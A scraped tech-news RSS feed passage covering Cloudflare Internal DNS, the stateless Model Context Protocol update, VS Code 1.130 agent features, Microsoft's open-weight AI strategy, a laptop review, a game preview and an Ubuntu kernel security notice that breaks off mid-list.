<p class="wp-block-paragraph"><strong>Latency and resilience.</strong> Internal DNS inherits its performance characteristics from Cloudflare’s existing public network. “Internal DNS runs on Cloudflare’s global network, so queries are answered by the nearest available Gateway location, helping keep latency low for connected users,” Somoza said. “Because Internal DNS runs on the same global infrastructure as Cloudflare’s public DNS, it benefits from the same anycast architecture, geographic distribution, and resilient network design.”</p>



<h2 class="wp-block-heading">How this differs from split-horizon DNS</h2>



<p class="wp-block-paragraph">Internal DNS replaces the duplicate-zone model traditional split-horizon setups depend on.</p>



<p class="wp-block-paragraph">“Before migrating, many organizations maintain multiple versions of the same internal DNS zones across headquarters, branch offices, and cloud environments,” Somoza explained. “Conditional forwarders determine which resolver answers each query, and keeping those environments synchronized becomes an ongoing operational task.”</p>



<p class="wp-block-paragraph">Internal DNS collapses those duplicate zones into a single authoritative copy split across views instead. “With Internal DNS, that configuration becomes much simpler,” Somoza said. “A customer might create a single corp.internal zone in Cloudflare and define multiple DNS views.”</p>



<p class="wp-block-paragraph">For example, users in headquarters could receive one internal IP address for wiki.corp.internal, while branch offices receive a different address. Somoza emphasized that the zone itself only exists once. “Instead of maintaining multiple copies of the same configuration, administrators manage a single source of truth,” he said.</p>



<h2 class="wp-block-heading">Early use cases and migration challenges</h2>



<p class="wp-block-paragraph">Not surprisingly, Somoza noted that the first use case Cloudflare sees for Internal DNS is for split-horizon DNS consolidation. There is also interest from organizations that operate across multiple cloud providers that want one consistent internal DNS service instead of managing separate DNS platforms in each environment.</p>



<p class="wp-block-paragraph">Another common use case is extending zero-trust policies to internal name resolution. “Customers already use Gateway to control access to internet traffic, and Internal DNS lets them apply similar policy decisions before internal names are resolved,” Somoza said.</p>



<p class="wp-block-paragraph">When it comes to migration, the friction customers report during migration is procedural rather than architectural. </p>



<p class="wp-block-paragraph">“Customers need to think through API permissions, connectivity, and how existing local DNS forwarding rules interact with Gateway,” Somoza said. “Those are all well understood migration steps and customers often run both environments in parallel before completing the transition.”</p>
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<title><![CDATA[Microsoft's open-weight AI push is so obviously an Azure play it hurts]]></title>
<description><![CDATA[Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external...]]></description>
<link>https://tsecurity.de/de/3691992/ai-nachrichten/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/</link>
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<pubDate>Fri, 24 Jul 2026 18:09:44 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="2048" height="1152" src="https://the-decoder.com/wp-content/uploads/2026/07/microsoft_glitch_robot.png" class="attachment-full size-full wp-post-image" alt="" decoding="async" fetchpriority="high"></p>
<p>        Microsoft, along with Meta, Nvidia, and more than 20 other companies, is pushing for open-weight AI models in an open letter. The strategic logic is simple: the more models running on Azure, the less Microsoft depends on expensive OpenAI and Anthropic models. The company is also swapping external models in products like Copilot for its in-house MAI family, which performs significantly worse in independent benchmarks.</p>
<p>The article <a href="https://the-decoder.com/microsofts-open-weight-ai-push-is-so-obviously-an-azure-play-it-hurts/">Microsoft's open-weight AI push is so obviously an Azure play it hurts</a> appeared first on <a href="https://the-decoder.com/">The Decoder</a>.</p>]]></content:encoded>
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<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691919/ai-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
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<pubDate>Fri, 24 Jul 2026 17:40:37 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
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<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Google DeepMind's Demis Hassabis calls for 'urgent action' during 'precious window before AGI arrives' — and it's all starting to feel a bit Skynet]]></title>
<description><![CDATA[Hearing one of AI’s leading builders warn about losing control makes the future feel increasingly Skynet-adjacent.]]></description>
<link>https://tsecurity.de/de/3691913/it-nachrichten/google-deepminds-demis-hassabis-calls-for-urgent-action-during-precious-window-before-agi-arrives-and-its-all-starting-to-feel-a-bit-skynet/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691913/it-nachrichten/google-deepminds-demis-hassabis-calls-for-urgent-action-during-precious-window-before-agi-arrives-and-its-all-starting-to-feel-a-bit-skynet/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:50 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Hearing one of AI’s leading builders warn about losing control makes the future feel increasingly Skynet-adjacent.]]></content:encoded>
</item>
<item>
<title><![CDATA[Model Context Protocol is going stateless to make scaling simpler]]></title>
<description><![CDATA[Model Context Protocol (MCP), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.



The latest release candidate, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless arch...]]></description>
<link>https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691907/it-nachrichten/model-context-protocol-is-going-stateless-to-make-scaling-simpler/</guid>
<pubDate>Fri, 24 Jul 2026 17:38:35 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Model Context Protocol (<a href="https://www.infoworld.com/article/4029634/what-is-model-context-protocol-how-mcp-bridges-ai-and-external-services.html">MCP</a>), the emerging standard for connecting AI models to external tools and enterprise data, is undergoing its biggest architectural overhaul yet.</p>



<p class="wp-block-paragraph">The latest <a href="https://modelcontextprotocol.io/specification/draft/changelog" target="_blank" rel="noreferrer noopener">release candidate</a>, scheduled for release on July 28, removes protocol-level sessions in favor of a stateless architecture, a change which industry experts say is intended to make MCP easier to deploy across standard cloud infrastructure as enterprises move AI pilots into production.</p>



<p class="wp-block-paragraph">“The session-based model made sense when MCP servers were local processes on a developer’s laptop. In production, it became an operational tax,” said <a href="https://www.linkedin.com/in/muskan-bandta2004" target="_blank" rel="noreferrer noopener">Muskan Bandta</a>, cloud associate at ZopDev.</p>



<p class="wp-block-paragraph">“When your infrastructure team asks whether MCP services can scale like other cloud applications, the answer used to be ‘not quite.’ With the move to a stateless architecture, the answer is now yes,” Bandta added.</p>



<p class="wp-block-paragraph">Earlier versions of the protocol maintained information about every client connection, meaning servers had to keep track of each session throughout an interaction. While that approach worked well for local development, it complicated deployments across multiple servers because requests often had to be routed back to the same machine, limiting scalability and making MCP a less natural fit for modern cloud architectures.</p>



<p class="wp-block-paragraph">“Under the new stateless design, every request contains the information needed for any available server to process it independently. Applications that need to maintain context across multiple requests can still do so, but developers must now manage that state explicitly rather than relying on the protocol itself,” she said.</p>



<p class="wp-block-paragraph">This transition to a stateless design goes beyond simplifying infrastructure by fundamentally changing how AI applications manage and share context across tools, according to <a href="https://www.linkedin.com/in/znamit/" target="_blank" rel="noreferrer noopener">Amit Jena</a>, AI development manager at IT consulting firm Kanerika.</p>



<p class="wp-block-paragraph">Instead of keeping application state hidden inside protocol sessions, the new design makes it explicit, allowing AI models to access, reason over, and pass that information between tools, giving developers greater control over how context is preserved and shared across tools, Jena said.</p>



<p class="wp-block-paragraph">It should also make AI workflows more portable, resilient, and easier to orchestrate across distributed environments, he said.</p>



<h2 class="wp-block-heading">MCP’s new features</h2>



<p class="wp-block-paragraph">Other changes to MCP include the addition of a Multi Round-Trip Requests (MRTR) mechanism that changes how AI agents request additional information they need to complete a task.</p>



<p class="wp-block-paragraph">Instead of relying on a persistent connection between the client and server throughout the interaction, the new mechanism lets the server request additional input through a standard request-response exchange before continuing the task, Jena said.</p>



<p class="wp-block-paragraph">Routable transport headers, another addition, enable API gateways and other networking infrastructure to identify and route MCP requests without inspecting their contents.</p>



<p class="wp-block-paragraph">They reduce processing overhead, lower latency, and let enterprise teams enforce routing, rate-limiting and security policies more efficiently using existing API management infrastructure, Jena said.</p>



<p class="wp-block-paragraph">MCP is also getting an updated authorization framework built around OAuth 2.1 and OpenID Connect; interactive MCP Apps; and deterministic caching of tool and resource listings to improve LLM prompt-cache hit rates, potentially saving on token costs.</p>



<h2 class="wp-block-heading">Rebuilding the trust boundary</h2>



<p class="wp-block-paragraph">The MCP release steering committee also decided to deprecate some legacy features, including Roots, Sampling, Logging, the older HTTP+SSE transport and Dynamic Client Registration, although these will continue to work in this version and any other released over the next year.</p>



<p class="wp-block-paragraph">The deprecation of Sampling is likely to have the biggest impact because it changes who is responsible for interacting with foundation models, said Jena.</p>



<p class="wp-block-paragraph">“Sampling let MCP servers invoke the <a href="https://www.infoworld.com/article/2335213/large-language-models-the-foundations-of-generative-ai.html" target="_blank">LLM</a> through the client, which meant the server had a callback path into the model without owning that connection. Deprecating it means rebuilding that trust boundary,” Jena said. “Your server now calls the model provider directly. That changes your network architecture, your auth model, and depending on how you’ve built cost attribution, your billing flow.”</p>



<p class="wp-block-paragraph">The year-long transition period will be enough for teams to audit their sampling dependencies now, said Jena: “The risk is that teams who haven’t implemented sampling themselves won’t know if a third-party MCP server they’re depending on uses it.”</p>



<h2 class="wp-block-heading">Updated MCP SDKs</h2>



<p class="wp-block-paragraph">To accompany the protocol update, there are updated <a href="https://github.com/modelcontextprotocol" target="_blank" rel="noreferrer noopener">MCP SDKs</a> for <a href="https://www.infoworld.com/article/2253770/what-is-python-powerful-intuitive-programming.html" target="_blank">Python</a>, <a href="https://www.infoworld.com/article/2257305/what-is-typescript-strongly-typed-javascript.html" target="_blank">Typescript</a>, <a href="https://www.infoworld.com/article/2253031/whats-the-go-language-really-good-for-3.html">Go</a>, and <a href="https://www.infoworld.com/article/4131649/the-best-new-features-of-c-14.html">C#</a>. These support both the old and new protocol versions, so new clients can continue communicating with older servers, while updated servers will also support older clients, reducing the risk of immediate disruptions.</p>



<p class="wp-block-paragraph">That backward compatibility should make the transition largely incremental, except for enterprises that built custom infrastructure around MCP’s earlier session-based architecture, Bandta said.</p>



<p class="wp-block-paragraph">Identifying and auditing those session dependencies may not be easy, Jena warned.</p>



<p class="wp-block-paragraph">“Session management complexity tends to be hidden across multiple layers — the gateway config, the deployment scripts, the monitoring dashboards. The code change is small; finding everywhere the assumption lives is what takes time,” he said.</p>



<p class="wp-block-paragraph"><em>This article first appeared on <a href="https://www.infoworld.com/article/4201254/model-context-protocol-is-going-stateless-to-make-scaling-simpler.html">InfoWorld</a>.</em></p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Visual Studio Code 1.130 dresses up Agents window]]></title>
<description><![CDATA[Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.



VS Code 1.130 was released on July 22, one week after VS Code 1.129. Developers can access the releas...]]></description>
<link>https://tsecurity.de/de/3691858/ai-nachrichten/visual-studio-code-1130-dresses-up-agents-window/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691858/ai-nachrichten/visual-studio-code-1130-dresses-up-agents-window/</guid>
<pubDate>Fri, 24 Jul 2026 17:00:02 +0200</pubDate>
<category>🔧 AI Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Microsoft has released Visual Studio Code 1.130, an update to the code editor that brings several improvements to the Agents window, along with enhancements to the agent host and the terminal.</p>



<p class="wp-block-paragraph">VS Code 1.130 was released on <a href="https://code.visualstudio.com/updates/v1_130#_agents-window-improvements-preview">July 22</a>, one week after <a href="https://www.infoworld.com/article/4199680/visual-studio-code-1-129-introduces-dedicated-agent-host.html">VS Code 1.129</a>. Developers can access the release for Windows, Linux, or Mac from <a href="https://code.visualstudio.com/Download?_exp_download=fb315fc982">code.visualstudio.com</a>. </p>



<p class="wp-block-paragraph">With the new release, the <a href="https://code.visualstudio.com/docs/agents/agents-window">Agents window</a> gets updates that make it easier to review changes and manage chats. File-level diff statistics help users assess the size of each file’s changes when scanning a multi-file diff. The window also gets a more compact multi-file diff that makes it easier to review changes, Microsoft said. The Agents window is a dedicated window in VS Code that lets users run and track multiple agent sessions in parallel across their projects, without opening each workspace in a separate window.</p>



<p class="wp-block-paragraph">Also with VS Code 1.130, assisted permissions for agent tool calls are available in the <a href="https://code.visualstudio.com/updates/v1_130#_the-agent-host" data-type="link" data-id="https://code.visualstudio.com/updates/v1_130#_the-agent-host">agent host</a>. With assisted permissions, the LLM evaluates the risk of each tool call and decides whether the tool can run or should require the user’s approval. The setting to enable assisted permissions is <code>chat.assistedPermissions.enabled</code>. In another agent host improvement, quick chats running on the agent host now use compact, single-line rows in the sessions list. Regular sessions retain a second line with change statistics, status, and timestamps. </p>



<p class="wp-block-paragraph">VS Code users now can open file links from Git diff output in the terminal when Git’s <a href="https://git-scm.com/docs/diff-config#Documentation/diff-config.txt-diffmnemonicPrefix" target="_blank" rel="noreferrer noopener"><code>diff.mnemonicPrefix</code></a> option is enabled. VS Code recognizes prefixes such as<code> i/</code> for the index and <code>w/</code> for the working tree, and removes the prefix from the link target so the correct file opens. When mnemonic prefixes are enabled, VS Code also recognizes the numeric prefixes produced by <code>git diff --no-index</code>.</p>



<p class="wp-block-paragraph">Timestamps for chat requests and responses now are displayed when users hover over the message toolbar. You can disable this through the <code>chat.verbose</code> setting. </p>
</div></div></div></div>]]></content:encoded>
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<title><![CDATA[Alienware 15 review: Perfect timing for a budget gaming laptop]]></title>
<description><![CDATA[While its display could be nicer, Alienware's first budget gaming laptop feels like a welcome reprieve when practically all tech is more expensive.]]></description>
<link>https://tsecurity.de/de/3691530/it-nachrichten/alienware-15-review-perfect-timing-for-a-budget-gaming-laptop/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691530/it-nachrichten/alienware-15-review-perfect-timing-for-a-budget-gaming-laptop/</guid>
<pubDate>Fri, 24 Jul 2026 14:33:46 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[While its display could be nicer, Alienware's first budget gaming laptop feels like a welcome reprieve when practically all tech is more expensive.]]></content:encoded>
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<title><![CDATA[‘An anthem for the co-dependent’: Bad Magpie’s corvid carnage with a side of existential angst]]></title>
<description><![CDATA[Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havocAmid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded cor...]]></description>
<link>https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691520/it-nachrichten/an-anthem-for-the-co-dependent-bad-magpies-corvid-carnage-with-a-side-of-existential-angst/</guid>
<pubDate>Fri, 24 Jul 2026 14:19:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Going by the mantra, if you want to make someone laugh, make them cry first, the game’s developers have created a lonely magpie who fills the void by wreaking havoc</p><p>Amid the gleeful anarchy of Bad Magpie’s debut trailer, there’s a striking note of melancholy. The game’s protagonist – a wounded corvid that creates havoc wherever she goes – calls out forlornly as a flock of her kind passes above, with a conspicuous gap in their formation.</p><p>Milktooth games designer and co-founder Daisy Fernandez has had this particular image in her head for years. Lying in the grass one afternoon during the 2020 lockdowns, she looked up and saw a V-shaped pattern in the sky, poignantly incomplete. “It really stuck with me,” she says. “I posted about it online and someone told me about a ‘missing man’ formation, which is an aerial salute to a fallen pilot.”</p> <a href="https://www.theguardian.com/games/2026/jul/24/bad-magpie-preview-milktooth">Continue reading...</a>]]></content:encoded>
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<title><![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
